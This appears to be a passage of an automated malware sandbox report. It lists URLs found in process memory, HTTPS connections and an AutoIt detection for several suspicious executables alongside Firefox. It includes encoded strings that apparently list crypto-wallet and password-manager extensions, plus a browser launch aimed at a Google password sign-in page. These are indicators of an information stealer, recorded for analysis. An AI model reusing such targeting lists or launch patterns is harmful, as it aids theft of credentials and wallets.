Source: firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824396000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2983357091.000002882378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BAF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3043510169.000002882BAF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/UpdateService:selectUpdate
Source: firefox.exe, 00000017.00000002.3090755070.000002881F70C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BAD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089180136.000002881EF7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3181547624.0000307B45B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089180136.000002881EFA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F7D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000017.00000003.3036113479.000002882D119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3039351841.000002882D8E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 7e96f85771.exe, 00000008.00000003.3117220273.000000002FBBC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: 7e96f85771.exe, 00000008.00000003.3117220273.000000002FBBC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 7e96f85771.exe, 00000008.00000002.3164480115.000000000086A000.00000040.00000001.01000000.0000000A.sdmp, firefox.exe, 00000017.00000002.3088293494.000002881EE58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 7e96f85771.exe, 00000008.00000003.3117220273.000000002FBBC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089180136.000002881EFDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824380000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3050822463.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055688840.000002882E047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3052847397.000002882E04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3050822463.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000017.00000003.3055110674.0000028825DF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044675435.0000028825DF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114071187.0000028823EB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825DA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B033000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825DF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000017.00000003.3054203227.0000028825F26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3171068076.000002882D72A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3056228235.0000028825F26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130743297.0000028825F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000017.00000002.3089180136.000002881EFEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.000002882601C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3085847545.000002881365D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825DA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.000002882432A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3171068076.000002882D72A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824356000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B033000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3085847545.0000028813603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123804190.000002882528C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B61F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3100093809.00000288230EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3171068076.000002882D7F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053170205.000002882D7F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3088293494.000002881EE43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000002.2967033003.0000010EA05C1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2977909853.000001B5BD2B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3085164159.00000288132B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdArgument
Source: firefox.exe, 00000017.00000002.3086539959.0000028814EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateService:remove
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountMIN_STATUS_ANIMATION_DURATIONservices.sync.log.logger.browserensureUnload
Source: firefox.exe, 00000017.00000003.3054203227.0000028825F26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3056228235.0000028825F26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130743297.0000028825F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/var(--in-content-box-background)var(--in-content-text-color)

Source: unknown	Network traffic detected: HTTP traffic on port 61029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61074
Source: unknown	Network traffic detected: HTTP traffic on port 61025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61028
Source: unknown	Network traffic detected: HTTP traffic on port 61044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61029
Source: unknown	Network traffic detected: HTTP traffic on port 61067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61065
Source: unknown	Network traffic detected: HTTP traffic on port 61074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61066
Source: unknown	Network traffic detected: HTTP traffic on port 61038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61067
Source: unknown	Network traffic detected: HTTP traffic on port 61011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61080
Source: unknown	Network traffic detected: HTTP traffic on port 61080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61040
Source: unknown	Network traffic detected: HTTP traffic on port 61076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61078
Source: unknown	Network traffic detected: HTTP traffic on port 61035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61095
Source: unknown	Network traffic detected: HTTP traffic on port 61079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61009
Source: unknown	Network traffic detected: HTTP traffic on port 61065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61044
Source: unknown	Network traffic detected: HTTP traffic on port 61036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61089
Source: unknown	Network traffic detected: HTTP traffic on port 61030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61063
Source: unknown	Network traffic detected: HTTP traffic on port 61078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61011
Source: unknown	Network traffic detected: HTTP traffic on port 61037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61012
Source: unknown	Network traffic detected: HTTP traffic on port 61016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61016

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:61065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:61079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:61098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:61103 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 88edf6a100.exe, 0000000A.00000000.2929918715.0000000000532000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_043694dc-e
Source: 88edf6a100.exe, 0000000A.00000000.2929918715.0000000000532000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 